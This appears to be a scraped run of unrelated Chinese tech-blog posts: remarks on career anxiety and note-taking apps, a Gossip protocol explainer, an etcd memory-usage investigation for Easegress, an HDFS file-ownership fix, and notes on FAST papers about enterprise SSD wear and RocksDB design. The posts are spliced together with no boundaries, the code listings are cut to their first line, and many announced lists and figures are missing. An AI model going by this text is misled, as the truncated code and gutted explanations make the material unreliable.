略有不同的是,互联网行业可能会收缩,但不回完全崩塌与消亡,作为个人,无法左右大观园的兴衰荣辱,但只能提升个人的竞争能力,以求的在任何环境中都有一席生存罢了。
在字节我所在的组,很多大佬,经常看代码的时候在想的是,什么时候我可以独立的写出这样的代码,什么时候我可以独立做一个这样的需求,什么时候可以独立的负责一个项目。而这个目标的过程中则是提升自己的对“写代码”有更多的认识。
因此也不必过多的焦虑,聚焦于内,外界的影响则不会太大。
现在的互联网平台几乎成为一个低效的平台了,它在过去的十几年里,让无数人了解了这个世界,但是也越来越多的生产垃圾,制造焦虑,降低效率,减少专注。
所谓的“言论自由”、“真理不怕辩论”到了互联网上则变成一锅乱糟糟,无论谁都可以不负责任掺上一脚,因此“被动接收”的信息很多有效,即使“主动搜寻”,这些网站也会无所不用其极的向你推荐,想让你也加入其中,换的“韭菜”的使用时间罢了。这些软件利用人的懒、贪的陋习,放大噪音,赚取流量。
因此必须提高自己的思考能力的基础是,提高自己自我寻求数据的能力。举个例子,有人说奥密克戎不具有过强的毒性,是大号流感,甚至是“天然的疫苗”,这些消息我们看到经常会自动的接收,而不会去主动甄别。同样也会有人说“奥密克戎”不是“大号流感”,而这些新闻的辨别通用需要去寻找更多的信息。如果找不到信息,那么对于最终的结论则应该保持中立的态度,或者不表示态度。
但是这是很难的,首先就像罗翔说的“如果你持一种怀疑主义立场,你所有的认识论都是不稳固的”,其次收集信息是很困难的,因此会有一批批的大V,他们会为我们整理信息,整理结论,这潜移默化的影响我们的思维,决定我们的判断。
因此能做的是尽可能多获得多方面的信息,使用科学的思维来进行判断。当然判断错误也是很正常的事情,但会比囫囵吞枣的接受信息要好。
关于新闻媒体,可以使用订阅的方式,推荐一些新闻媒体 。
使用craft一年后,我开始使用了notion来开始新的资料管理了。craft 几乎是我使用过体验最好的写作工具的,但为什么要换呢,主要两点,一是没有提醒功能,二是craft左侧边栏文件夹组织方式导致了很多碎片化的小短文。
craft没有提醒功能,但是有单独每日安排页面,导致有一些任务写在了craft上面,有一些写在了todo软件里面,很分散。其次一年的写作后,会发现文件夹中很多文件都没有及时的整理,原因在于craft中组织文件位置,需要打开主界面然后再移动,不能在当前文章页面中移动。
而当初不选择notion的原因,则因为不是native、没有本地化。但是相比较上面的缺点,稍微慢一点的加载我也能忍受,并且性能上没有太大的损失。不仅如此,notion的文档即“文件夹”,可以无限嵌套,database 功能更是改变了很多文档管理的思路。
但是一个系统越是复杂,越是维护成本高,并且notion的时间提醒设置没有TODO软件灵活,有时间可以单独介绍notion的我的使用经历。
本来这篇文章的最后还写了一堆废话,最后全给删掉了,多行动方为正事,那么下次再见
Gossip 协议是一种弱最终一致性算法,主要用于解决大规模去中心化 P2P 网络中的数据一致性问题,其显著特点在于简单易于理解,并且不要求节点间均可以相互通信,只要一个节点能与部分节点通信,那它就可以把数据变更消息广播至整个联通网络中。
Gossip 协议最有名的应用包括 Redis-Cluster,Bitcoin,Cassandra 等。
Gossip 协议最早发布于 1989 年的 ACM 会议论文 Epidemic Algorithms for Replicated Database Maintenance 中,论文中是用来解决分布式数据库多副本一致性问题的,这是一个最终一致性算法。
由于此算法仅能保证最终一致性而非强一致性,而且达到一致的时间不可控,因此目前更多的是被用于各种 P2P 应用中。
如同其名字一样,消息的传播就像谣言的传播一样,一传十,十传百,百传千千万。
若一个节点需要向其他节点广播发送消息,则:
当一个节点收到其他节点的广播消息时,更新自己的数据,并向除源节点外其他节点广播数据。
网络上诸多文章对 Gossip 协议的介绍基本就到此为止了,基本还会配上这样一张传播示意图:
然而根据上述如此抽象的描述可以说是没法搭建出实际有用的系统来的。粗略想想就会发现几个核心问题没有被解决:
其实在 Gossip 的原始论文中对这些问题是有更细致的讨论和处理的,Márk Jelasity 在 Self-organising software. From natural to artificial adaptation 一书中也有详细论述,二者基本是一致的。
实际的消息或数据的形式是由具体应用决定的,不过不妨将其抽象为 K-V-T
集合,即若干条 Key -> Value + Time,这里的 Time 可以是实际的时间戳,也可以是其他类似 Version 的值。
更新数据时并不会直接无脑的去覆盖数据,而是会比较 Time:
1 | Update(k, v, t) { |
Gossip 的论文中就是使用了时间戳来作为这个 Time,不过这感觉会存在一个问题:
如何保证全局时间戳的一致性呢?如果无法保证,那会不会造成节点间的不平等?即时间较晚那个节点相当于就被赋予了更高的优先级?
Gossip 算法有三种基本策略:
在后两种策略中,消息的交互通信模式又可以分为三种:
在下文描述中,使用 S 表示某一节点的邻接节点集合。
当某一节点有数据发生更新时,触发通知其他所有节点的流程:
1 | for(s : S) { |
收到数据的节点更新自己的数据,若成功更新继续重复上述流程通知自己的邻接节点。
此策略由于只发送一次数据,所以并不一定可靠。
此策略在 Márk Jelasity 的书中被称为 SI 模型,其工作流程是每个节点均周期性的选择部分邻接节点同步更新数据:
1 | while(true) { |
三种消息交互模式的区别就在于 ResolveDifference
的实现方式不同:
K-V-T
数据发送给节点 B,节点 B 更新自己的数据;K-T
数据发给节点 B,节点 B 收到后与自己的数据进行比较,将更新或节点 A 没有的 K-V-T
数据发送给节点 A,节点 A 更新自己的数据;K-V-T
至节点 B,节点 B 更新完后把需要节点 A 更新的 K-V-T
再推送回节点 A,节点 A 再更新自己的数据。上述描述中 Push/Pull 模式的流程与大部分文章中写的有所区别,在大部分文章中,Push/Pull 模式就是简单的 Pull + Push,此时会存在 3 次网络交互,此处进行了一些优化,如果先做 Push 再做 Pull 则可以减少一次网络交互。
在 Direct mail 形式下使用的就是 Push 通信模式,因此 Direct mail 策略可以视为是只执行一次的使用 Push 模式的 Anti-entropy 策略;
一般而言,显然是 Push/Pull 模式收敛得最快。
此方法中,发送的 K-V-T
根据论文的描述应该是数据全集,这就导致需要交互的数据量极大,甚至是完全不可行的。而且这个交互过程是一直都在进行永不停止的,这也会造成较大的带宽浪费。
针对 Anti-entropy 策略做了些改进,每个节点加入一个状态,可能取值有:
S
: Susceptible, 不存在数据更新I
: Infective, 存在数据更新且需要广播R
: Removed, 存在数据更新,然而不广播故此策略在 Márk Jelasity 的书中被称为 SIR 模型。
其中 S
状态是节点的初始值,仅当没有数据更新时才会处于此状态中,一旦发生了数据更新就永远也不可能回到此状态中。因此感觉此状态是为了理论的完美性才引入的,从实际实现的角度来看完全可以忽略此状态。
此外还需要再引入一条 Feedback 消息,当某个节点 B 收到节点 A 发来的 Push 消息后会回复节点 A 此消息。
此时状态迁移就会变得很简单,一旦发生数据更新(通过与其他节点交互或系统其他部分修改数据)就会成为 I
状态;一旦收到 Feedback 消息,则有一定概率会变成 R
状态;
当节点处于 I
状态时,行为与 Anti-entropy 策略相同;当节点处于 R
状态时,不进行周期性的节点同步更新。此策略的目的正是通过引入 R
状态来让节点间的交互可以在一段时间内停止。
上述变成 R
状态的一定概率在论文中用 $1/k$ 表示,此概率是怎么确定的呢?学术点的做法是根据集群规模理论计算出来,当然实际使用的时候一般都是试出来的,此概率越高则系统收敛速度越快,然而也越容易无法保证最终一致性。
论文的内容就到此为止了,然而仔细揣摩下上述策略,其实有一些点是可以进一步优化的。
首先在消息的设计上,由于 Push/Pull 模式是最为完善的,可以均选用此策略,此时消息就可以简化为 PushReq
& PullRes
两条。
Rumor mongering 策略中引入的 Feedback 消息在此设计下其实是多余的,一旦收到 PullRes
即等同于收到了 Feedback 消息。
另一个可能的优化点在于,PushReq
中携带的 K-V-T
是否可能不是全量数据,只发送增量数据,这么做需要思考以下一些难点:
PushReq
中加入特殊的字段表明此请求是增量单向 Push,PullRes
中不需要回复缺失 K-V-T
。然而加入此字段后会不会让整个系统只有 Push 而没有 Pull 的能力呢?还是除了初始化时其他时候不需要 Pull 也可以正常工作呢?K-V
是变化了的呢?一个想法是是否可以利用时间信息,比较上一次同步的时间与数据中的时间戳 TR
状态而导致数据不一致?新节点加入时,只需要发送空的 PushReq
即可,此时相当于 Pull 模式去主动拉数据。
Gossip 协议的适用场景相对比较确定:
第 2 点是 Gossip 协议最显著的优点,在这样的去中心化拓扑结构下,其他很多一致性算法都是没法正常工作的,因此在 P2P 网络中 Gossip 协议取得了广泛的应用;而第 3 点则是 Gossip 协议最大的局限性,即它不是强一致性协议。
如果系统具有特性 1 & 2 而又要求强一致能否实现呢?好像还没有听过这样的算法……感觉可以搞个 Paxos + Gossip 的混合算法出来?这估计是个蛮有意思的东西吧……
Gossip 协议还有哪些显著优点呢:
至于它的缺点,主要就是前文所述的,它不是强一致协议,甚至都不能保证最终一致性。
P2P 网络核心技术:Gossip 协议
Gossip 协议详解
一万字详解 Redis Cluster Gossip 协议
分布式系列 Gossip协议
今天跟大家分享一个etcd的内存大量占用的问题,这是前段时间在我们开源软件Easegress中遇到的问题,问题是比较简单的,但是我还想把前因后果说一下,包括,为什么要用etcd,使用etcd的用户场景,包括etcd的一些导致内存占用比较大的设计,以及最后一些建议。希望这篇文章不仅仅只是让你看到了一个简单的内存问题,还能让你有更多的收获。当然,也欢迎您关注我们的开源软件,给我们一些鼓励。
先说一下为什么要用etcd。先从一个我们自己做的一个API网关 – Easegress(源码)说起。
Easegress 是我们开发并开源的一个API应用网关产品,这个API应用网关不仅仅只是像nginx那样用来做一个反向代理,这个网关可以做的事很多,比如:API编排、服务发现、弹力设计(熔断、限流、重试等)、认证鉴权(JWT,OAuth2,HMAC等)、同样支持各种Cloud Native的架构如:微服务架构,Service Mesh,Serverless/FaaS的集成,并可以用于扛高并发、灰度发布、全链路压力测试、物联网……等更为高级的企业级的解决方案。所以,为了达到这些目标,在2017年的时候,我们觉得在现有的网关如Nginx上是无法演进出来这样的软件的,必需重新写一个(后来其他人也应该跟我们的想法一样,所以,Lyft写了一个Envoy。只不过,Envoy是用C++写的,而我用了技术门槛更低的Go语言)
另外,Easegress最核心的设计主要有三个:
对于任何一个分布式系统,都需要有一个强一制性的基于Paxos/Raft的可以自动选主机制,并且需要在整个集群间同步一些关键的控制/配置和相关的共享数据,以保证整个集群的行为是统一一致的。如果没有这么一个东西的话,就没有办法玩分布式系统的。这就是为什么会有像Zookeeper/etcd这样的组件出现并流行的原因。注意,Zookeeper他们主要不是给你存数据的,而是给你组集群的。
Zookeeper是一个很流行的开源软件,也被用于各大公司的生产线,包括一些开源软件,比如:Kafka。但是,这会让其它软件有一个依赖,并且在运维上带来很大的复杂度。所以,Kafka在最新的版本也通过内置了选主的算法,而抛弃了外挂zookeeper的设计。Etcd是Go语言社区这边的主力,也是kubernetes组建集群的关键组件。Easegress在一开始(5年前)使用了gossip协议同步状态(当时想的过于超前,想做广域网的集群),但是后发现这个协议太过于复杂,而且很难调试,而广域网的API Gateway也没遇到相应的场景。所以,在3年前的时候,为了稳定性的考量,我们把其换成了内嵌版本的etcd,这个设计一直沿用到今天。
Easegress会把所有的配置信息都放到etcd里,还包括一些统计监控数据,以及一些用户的自定义数据(这样用户自己的plugin不但可以在一条pipeline内,还可以在整个集群内共享数据),这对于用户进行扩展来说是非常方便的。软件代码的扩展性一直是我们追求的首要目标,尤其是开源软件更要想方设法降低技术门槛让技术易扩展,这就是为什么Google的很多开源软件都会选使用Go语言的原因,也是为什么Go正在取代C/C++的做PaaS基础组件的原因。
好了,在介绍完为什么要用etcd以后,我开始分享一个实际的问题了。我们有个用户在使用 Easegress 的时候,在Easegress内配置了上千条pipeline,导致 Easegress的内存飙升的非常厉害- 10+GB 以上,而且长时间还下不来。
用户报告的问题是——
在Easegress 1.4.1 上创建一个HTTP对象,1000个Pipeline,在Easegres初始化启动完成时的内存占用大概为400M,运行80分钟后2GB,运行200分钟后达到了4GB,这期间什么也没有干,对Easegress没有进行过一次请求。
一般来说,就算是API再多也不应该配置这么多的处理管道pipeline的,通常我们会使用HTTP API的前缀把一组属于一个类别的API配置在一个管道内是比较合理的,就像nginx下的location的配置,一般来说不会太多的。但是,在用户的这个场景下配置了上千个pipeline,我们也是头一次见,应该是用户想做更细粒度的控制。
经过调查后,我们发现内存使用基本全部来自etcd,我们实在没有想到,因为我们往etcd里放的数据也没有多少个key,感觉不会超过10M,但不知道为什么会占用了10GB的内存。这种时候,一般会怀疑etcd有内存泄漏,上etcd上的github上搜了一下,发现etcd在3.2和3.3的版本上都有内存泄露的问题,但都修改了,而 Easegress 使用的是3.5的最新版本,另外,一般来说内存泄漏的问题不会是这么大的,我们开始怀疑是我们哪里误用了etcd。要知道是否误用了etcd,那么只有一条路了,沉下心来,把etcd的设计好好地看一遍。
大概花了两天左右的时间看了一下etcd的设计,我发现了etcd有下面这些消耗内存的设计,老实说,还是非常昂贵的,这里分享出来,避免后面的同学再次掉坑。
首当其冲是——RaftLog。etcd用Raft Log,主要是用于帮助follower同步数据,这个log的底层实现不是文件,而是内存。所以,而且还至少要保留 5000
条最新的请求。如果key的size很大,这 5000
条就会产生大量的内存开销。比如,不断更新一个 1M的key,哪怕是同一个key,这 5000 条Log就是 5000MB = 5GB 的内存开销。这个问题在etcd的issue列表中也有人提到过 issue #12548 ,不过,这个问题不了了之了。这个5000还是一个hardcode,无法改。(参看 DefaultSnapshotCatchUpEntries
相关源码)
// DefaultSnapshotCatchUpEntries is the number of entries for a slow follower // to catch-up after compacting the raft storage entries. // We expect the follower has a millisecond level latency with the leader. // The max throughput is around 10K. Keep a 5K entries is enough for helping // follower to catch up. DefaultSnapshotCatchUpEntries uint64 = 5000
另外,我们还发现,这个设计在历史上etcd的官方团队把这个默认值从10000降到了5000,我们估计etcd官方团队也意识到10000有点太耗内存了,所以,降了一半,但是又怕follwer同步不上,所以,保留了 5000条……(在这里,我个人感觉还有更好的方法,至少不用全放在内存里吧……)
另外还有下面几项也会导致etcd的内存会增加
(很明显,etcd这么做就是为了一个高性能的考虑)
Easegress中的问题更多的应该是Raft Log 的问题。后面三种问题我们觉得不会是用户这个问题的原因,对于索引和mmap,使用 etcd 的 compact 和 defreg (压缩和碎片整理应该可以降低内存,但用户那边不应该是这个问题的核心原因)。
针对用户的问题,大约有1000多条pipeline,因为Easegress会对每一条pipeline进行数据统计(如:M1, M5, M15, P99, P90, P50等这样的统计数据),统计信息可能会有1KB-2KB左右,但Easegress会把这1000条pipeline的统计数据合并起来写到一个key中,这1000多条的统计数据合并后会导致出现一个平均尺寸为2MB的key,而5000个in-memory的RaftLog导致etcd要消耗了10GB的内存。之前没有这么多的pipeline的场景,所以,这个内存问题没有暴露出来。
于是,我们最终的解决方案也很简单,我们修改我们的策略,不再写这么大的Value的数据了,虽然以前只写在一个key上,但是Key的值太大,现在把这个大Key值拆分成多个小的key来写,这样,实际保存的数据没有发生变化,但是RaftLog的每条数据量就小了,所以,以前是5000条 2M(10GB),现在是5000条 1K(500MB),就这样解决了这个问题。相关的PR在这里 PR#542 。
要用好 etcd,有如下的实践
MADV_FREE
的内存回收机制,而在1.16的时候,改成了 MADV_DONTNEED
,这两者的差别是,FREE
表示,虽然进程标记内存不要了,但是操作系统会保留之,直到需要更多的内存,而 DONTNEED
则是立马回收,你可以看到,在常驻内存RSS 上,前者虽然在golang的进程上回收了内存,但是RSS值不变,而后者会看到RSS直立马变化。Linux下对 MADV_FREE
的实现在某些情况下有一定的问题,所以,在go 1.16的时候,默认值改成了 MADV_DONTNEED
。而 etcd 3.4 是用 来1.12 编译的。最后,欢迎大家关注我们的开源软件! https://github.com/megaease/
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)
背景是做磁盘备份操作。 DFS数据从一块磁盘拷贝到另一块磁盘。 在完成拷贝后,也可以顺利启动HDFS服务。
但是在试图传一个文件到HDFS上时却发生了一个错误:
hdfs dfs -put : Exception in createBlockOutputStream and java.io.EOFException: Premature EOF: no length prefix available
使用fsck
检查全盘,看各种HDFS监控指标,都提示健康。
用查HDFS坏块的方法检查HDFS也没有发现坏块。
陷入沉思……
看了一些相同报错,问题大概锁定肯定是某个块文件导致:
继续测试put
一个文件到HDFS上,回顾报错里提到了报错的blk
ID号:
16/07/23 20:05:21 WARN hdfs.DFSClient: DFSOutputStream ResponseProcessor exception for block BP-532134798-128.110.152.143-1469321545728:blk_1073741865_1041
这是一个好线索,我尝试全盘扫描找到这个坏块。
到dfs.datanode.data.dir
配置的磁盘目录下遍历检索发现确实存在这个block
文件。
看起来没有什么不同。
但是使用ls -al
详细列出文件时候,我发现了异样—— 文件所属用户和组与其它块文件不同。
使用find
命令彻查,果然发现产生了大量root
用户产生的block
,但是其实正常文件权限组该是hdfs
用户。
find ./ -group root
至此,我大概厘清了问题。迁移前后dfs数据目录部分文件权限发生了变化。
相应的解决办法很简单,将整个dfs.datanode.data.dir
指向的目录批量改成正确的权限组即可:
sudo chown -R hdfs:hdfs /path/to/dfs
Operational Characteristics of SSDs in Enterprise Storage Systems: A Large-Scale Field Study
此论文为多伦多大学与 NetApp 合作发表在 FAST’22 上的论文,统计分析了 NetApp 线上两百多万块 SSD 在过去 4 年内的运行数据,以此总结了 SSD 寿命,写放大这两个核心运维特性在大规模线上环境下的真实情况及其影响因素。
看完最大的感想是,SSD 间差异是巨大的,垃圾厂家的 SSD 真是不能用……
这篇论文作为一篇统计分析类文章之所以能发表在 FAST 上的重要原因在于其统计规模巨大且广泛,而且是真实线上环境,比之前同类研究中选取某个小范围特定场景来说有价值得多。NetApp 是一家美国的云存储公司,由于其客户的多样性,其底层存储系统同时提供了 NFS,iSCSI,NVMe_oF,S3 等多种接口,因此整体的应用负载特性相对较能反映各种不同应用的平均水平,而非某种特定场景。NetApp 使用的 SSD 规模也很大,总量约 200 万块,包括 3 个厂家,20 余个系列,同时存在 SAS & NVME 接口的(以 SAS 居多),具体情况见下表:
I,II,III 代表三家生产商,论文里面并没有披露具体是哪三家,然而根据某些型号不太常见的容量,如 I-D 的 3.8T,II-H 的 30T,可以推测出 I 是 Sandisk,II 是 Samsung,至于 III 由于只有一个 III-A 数量太少,就不知道是哪家了。上表除最后 II-X, II-Y, II-Z 为 NVME 接口外其余 SSD 均为 SAS 接口的,可以推测从数量上看 SAS SSD 也占了绝大部分。不过 SSD 的接口类型对其寿命,写放大应该是没有什么影响的,故尽管未来 NVME SSD 会越来越多,这篇论文依然会有参考价值。
上层应用从使用场景上来看可以分为两大类:
这两类系统的读写特性差异较大,因此论文中基本都是将其分开进行讨论。
论文想要回答的核心问题包括:
下面我们就跟随着作者的脚步来回答下这些问题吧。
Facebook,Microsoft,Alibaba 的统计数据中也是读比写多,不过 NetApp 这次公开的统计数据读写量远高于其余几家公开的统计数据:
SSD 的寿命和写入量有密切关系,DWPD 这一指标就是厂家给出的推荐写入速度上限,其含义为每天可以写入 SSD 容量几倍的数据(Drive Writes Per Day),大部分企业级 SSD 的 DWPD 值为 1 或 3,部分使用 MLC 颗粒的 SSD 会更高,可达到 10 以上。未来使用 QLC 颗粒的 SSD DWPD 大概率会下降到 1 以下。那实际生产环境中 DWPD 会到多少呢?来看看数据吧。
以上两部分内容其实并没有太多干货。读多写少是大部分互联网业务的典型场景;不同负载的写入量差异很大也是很正常的。
SSD 除了 DWPD 外还有个重要指标是 PE Cycle Limit,即最大擦写循环次数(Program-Erase Cycle),这是决定 SSD 寿命的根本性因素,SSD 寿命预测基本就是根据当前 PE Cycle 与最大 PE Cycle Limit 的比值得出的。因此作者引入了一个年损耗率的概念:
显而易见,此值的含义就是每年会用去 SSD 总寿命的百分比。实际统计结果如下:
根据以上数据我们可以来评估下未来 QLC 的寿命是否能满足数据中心及企业级应用的需求了,这在论文作者的 PPT 里面有计算结果:
写放大系数(Write Amplification Factor, WAF)是影响 SSD 寿命及性能的关键指标,SSD 存在写放大的原因是其内部存在诸多背景任务(housekeeping tasks),如垃圾回收(GC),损耗平均(Wear Leveling)等。学术界和产业界对于如何控制写放大这一问题都做了很多工作,然而实际 SSD 产品这一点做得究竟如何呢?已有的统计研究都不够广泛,规模也相对较小,因此这篇论文的研究就显得比较有价值了。下面就来看下作者的统计结果吧:
这感觉是全文最大的亮点啊,看到这简直是惊呆了,消费级不知名小厂做的 SSD 很垃圾不能用也就罢了,Sandisk 好歹也是个国际大厂了,做的企业级 SSD 也能这么垃圾简直是万万没想到啊……这些 SSD 还都是 MLC 颗粒的,这么糟糕的表现是 Flash 颗粒用得太差还是 FTL 固件写得水平太差就不得而知了……
最后来看下应用负载特性与 WAF 的关系:
学术界由于没有那么多真实 SSD 可以用,因此在研究 SSD WAF 时往往使用仿真的方法,然而根据本文的结论,这些仿真得到的 WAF 都太小了,绝大部分已有理论研究论文中 WAF 最高也就 10 左右,这仅仅只是 NetApp 真实环境中的 60% 分位值。作者认为造成这一差异的主要原因有:
损耗平均(Wear Leveling)就是把写入尽量平均的打散到所有 Block 上,以此避免某些 Block 被频繁的擦写,造成其寿命下降及性能降低。损耗平均技术是以整体的 PE Cycle 增加来换取长尾减少的,因此实际实现上需要做一个平衡——太过激进的损耗平均会导致 SSD 整体寿命衰减得太快。为了衡量损耗平均的效果,作者引入了擦除率(Erase Ratio)及擦除均匀度(Erase Difference)这两个指标:
Erase Ratio 的理想值是 1,对应的 Erase Difference 的理想值是 0。实际当然不会这么理想:
这一部分没太大意思,作者分析了一下不同使用年限,不同大小的 SSD 在 AFF 应用场景下空间使用率有啥区别(WBC 应用空间使用率无意义,基本都是 100%):
直接给出作者在 PPT 中的总结表格吧:
结论很简单,FTL 固件算法做得如何是决定性因素;写入负载也有明显影响;其余因素基本没影响。
作者此处选用了 III-A 这款 SSD 为例进行分析,这款 SSD 最初的固件版本是 FV2,后面升级到了 FV3:
可以看到这次纯软件固件升级有显著优化作用,明显改善了其 WAF;更不要说前面分析过的 Sandisk 产品和 Samsung 产品的差距了。由此可见,SSD 远远不只是搞一些 Flash 颗粒芯片来组装下就好了的,主控软件算法的水平同样是决定性的;甚至可以说,主控的影响有时候比颗粒类型更重要——Samsung 用消费级 TLC 颗粒做出来的 SSD 整体寿命比 Sandisk 用企业级 MLC 颗粒做出来的 SSD 还要好。
直接进行 IO Trace 是记录负载特性最有效的方法,然而对于大规模系统来说这是基本不可行的。因此作者用 DWPD,SSD 容量,SSD 接口类型这几个指标来对负载类型进行了一个简单分类。SSD 容量和接口类型能用于区分负载类型同样是由于不同容量和接口类型的 SSD 被用于了不同产品和客户上。
这部分的图不是那么直观就不放了,直接给结论吧:
作者的结论是没有明显影响
这是指 SSD 厂商在内部预留的空间(Over-Provisioning,OP),通常认为这会对 WAF 有明显影响。然而实际看下来影响不大,甚至是有轻微的负相关关系,即预留空间越大的 SSD 反而 WAF 也越大。比如 Sandisk 的那几款 SSD,预留空间达到了惊人的 44%,然而还是被 Samsung 预留空间只有 7% 的 SSD 吊打。
这仔细一想其实也很好理解,预留多少空间当然是根据 FTL 固件的需求决定的,写得越差的 FTL 固件很有可能就需要越多的预留空间……
多流写(Multi-stream Writes, MSW)技术需要主机端在写入的时候指定一个 Stream ID,支持此特性的 SSD 会根据此 Stream ID 将具有相同或相似生命周期的数据写入到相同的 Block 中去,以此实现冷热数据分离,预期可以大幅提高 GC 时的效率,减少 WAF。此技术的详细介绍可参考文末参考资料中的几篇文章。
论文中对于多流写技术的影响结论是不确定,原因是缺乏足够的数据进行判断。
看完全文主要收获有:
参考资料:
Increasing SSD Performance and Lifetime with Multi-Stream Write Technology
Evolution of Development Priorities in Key-value Stores Serving Large-scale Applications: The RocksDB Experience
此论文为 Facebook 发表在 FAST’21 上的论文,回顾了 RocksDB 在过去 8 年的演进中设计上核心关注点的变化及相应的优化措施,以及在性能,功能,易用性上所做的探索工作;此外还总结了将 RocksDB 应用于大规模分布式系统及系统错误处理上需要考虑的一些问题及经验教训。论文中没有论述具体的技术细节,更多的是从宏观的面上讨论了核心设计思想及工程实现上的各种权衡。
下面就来看下此论文具体讲了些什么,引用部分为我自己的笔记。
RocksDB 是 Facebook 基于 Google 的 LevelDB 于 2012 年开发的一款高性能 KV 存储引擎,在设计之初 RocksDB 就是针对 SSD 来进行设计及优化的,且 RocksDB 的定位一直都很清晰——只做一个核心存储引擎而不是完整的应用,作为一个嵌入式的库集成到更大的系统中去。
RocksDB 是高度可定制的,因此它作为一个核心 KV 存储引擎能适应各种工作负载,用户可以根据自己的需要对它进行针对性调优,如为读性能优化,为写性能优化,为空间使用率优化,或它们之间的某个平衡点。正是因为如此灵活的可配置性,RocksDB 可以作为很多不同数据库的存储引擎使用,如 MySQL,CockroachDB,MongoDB,TiDB 等,也可以满足流式计算(Stream processing),日志服务(Logging/queuing services),索引服务(Index services),缓存服务(Caching on SSD)等多种特性完全不同的业务需求。这些不同业务场景特性总结如下:
这么多不同应用共用一个相同的存储引擎与每个应用都去搭一套自己的存储子系统相比有很多优势:
文中说这些基本就是用一个统一轮子的好处了,其实对于个人来说还有些其他额外好处,由于不同公司不同 Team 都选用了同样的底层引擎,人员流动就会变得更方便了:)
引言最后照例介绍了下文章结构:
RocksDB 设计之初就是为 SSD 及现代硬件优化的。SSD 的 IOPS 及读写带宽都大幅优于传统机械硬盘,不过其寿命有限,且写入性能会由于擦除而恶化,因此设计一款针对 SSD 的嵌入式 KV 存储引擎就变得更有必要了,这就是 RocksDB 的设计初衷——设计一款极具灵活性可用于各类应用的,使用本地 SSD 并为其优化的 KV 存储引擎。
RosksDB 的核心数据结构是 LSM-tree,其基本结构如下:
几种基本操作的流程简述如下:
写入(Writes)
先写 Memtable 及 WAL 文件(Write Ahead Log),Memtable 通常使用跳表(Skip List)作为其数据结构。Memtable 写满后转换为不可变的 Memtable(immutable Memtable),并同时生成一个新的 Memtable 供写入;随后 immutable Memtable 会被写入到磁盘上变成 SST 文件(Sorted String Table)。
压缩(Compaction)
Compaction 有多种不同算法,RocksDB 最古老的 Compaction 算法是源于 LevelDB 的 Leveled compaction。其基本原理如上图所示,Memtable dump 生成的 SST 文件位于 Level-0,当某个 Level 中所有 SST 大小超过阈值后选择其中的一部分文件 Merge 到下一个 Level 中。除 Level-0 外,其他 Level 内不同 SST 文件间 key 的范围没有重合。
读取(Reads)
读取时从小到大遍历所有 Level,直到读到为止。可使用布隆过滤器(Bloom filters)来避免不需要的 IO。Scan 时需要扫描所有 Level。
RocksDB 支持多种不同的 Compaction 算法:
Tiered compaction 与 Leveled compaction 的核心区别在于每个 Level 中不同 SSTable 间 Key 的范围是否有重叠(overlap),leveled compaction 策略下同一 Level 内 SSTable 间 Key 是不会有重叠的,因此读的时候只会读一个 SSTable,IO 放大是可控的。Tiered compaction 则没有此性质,不同 SSTable 间 Key 范围是有重叠的。这两种 compation 策略的选择其实也是读放大与写放大间的权衡。
可以进一步参考下此文:LSM Tree的Leveling 和 Tiering Compaction
可以使用多种不同的 Compaction 策略使得 RocksDB 可以适用于广泛的应用场景,通过配置 RocksDB 可以变成为读优化,为写优化或极度为写优化(用于 Cache 等应用中)。不同的配置其实是读写放大间的平衡问题,一些实际的测试结果如下:
RocksDB 的优化目标最初是减少写放大,之后过渡到减少空间放大,目前重点则是优化 CPU 使用率。
这是刚开始开发 RocksDB 时的重点优化目标,一个重要原因是为了减少 SSD 的写入量以延长其寿命,这对某些写入很多的应用来说至今仍然是首要优化目标。
Leveled compaction 的写放大系数一般在 10~30 左右,这在大部分情况下是优于 B-tree 的,与 MySQL 中使用的 InnoDB 引擎相比,RocksDB 的写数量仅为其的 5% 左右。然而对于某些写入量很大的应用来说,10~30 的写放大系数还是太大了,所以 RocksDB 引入了 Tiered compaction,其放大倍数通常在 4~10 左右。
在经过若干年开发后,RocksDB 的开发者们观察到对于绝大多数应用来说,空间使用率比写放大要重要得多,此时 SSD 的寿命和写入开销都不是系统的瓶颈所在。实际上由于 SSD 的性能越来越好,基本没有应用能用满本地 SSD,因此 RocksDB 开发者们将其优化重心迁移到了提高磁盘空间使用率上。
RocksDB 开发者们引入了所谓的 Dynamic Leveled Compaction 策略,此策略下,每一层的大小是根据最后一层的大小来动态调整的。
Tiered compaction 的空间放大和 Level compaction 根本没法比,极端情况下需要预留一半空间才能顺利进行完整的 compaction,因此这里就直接不讨论了。
Dynamic Leveled Compaction 的具体介绍可参考:
Dynamic Level Size for Level-Based Compaction
核心思想就是让稳态情况下更多的做一些 compaction。
此策略的效果如下:
随着 SSD 的速度越来越快,一种普遍的担心是,系统的瓶颈会不会由磁盘 IO 转移到 CPU 上呢?然而作者认为无需担心此问题,原因如下:
为了证明此观点是正确的,作者给出了若干个 ZippyDB & MyRocks 的实际测试结果用以论证空间才是瓶颈所在:
虽然说了这么多无需太担心 CPU 成为瓶颈,作者认为我们还是要去优化 CPU 使用率,为什么呢?因为其他更重要的优化,如空间放大优化都做完了没有可做的了……(这段真不是我瞎写的,原文就是这么说的:Nevertheless, reducing CPU overheads has become an important optimization target, given that the low hanging fruit of reducing space amplification has been harvested.)此外,CPU 和内存还越来越贵了,优化 CPU 使用可以让我们用一些更便宜的 CPU……
一些有助于优化 CPU 使用率的早期尝试包括:前缀布隆过滤器(Prefix bloom filters),在查找索引前就先通过 bloom filter 进行过滤,还有其他一些 bloom filter 的优化。
对于上述论述不甚赞同……
- 作者这是假设这台机器上只跑 RocksDB,上层应用是很轻量级的,把全部 CPU 资源都给 RocksDB 用才没有瓶颈,这显然是很有问题的,有可能上层应用本身就需要很多 CPU 啊,而且作为一个 KV Engine 就把大部分 CPU 资源用完了不太合理吧。这还不要说在共有云等场景下大规模混部的情况了,此时所有空余的 CPU 都是可以用来干其他事的。
- 不知作者为什么认为一台机器上只配一块 SSD 才是最优搭配,根据我的经验这分明是不太好的搭配吧,正因为 SSD 少了存储空间才成瓶颈的,一台机器上使用 2~4 块 NVME SSD 才是目前更主流且合理的方案吧,要是机器上还有多个 RocksDB 实例在同时工作,此时 CPU 显然很容易成为瓶颈吧。
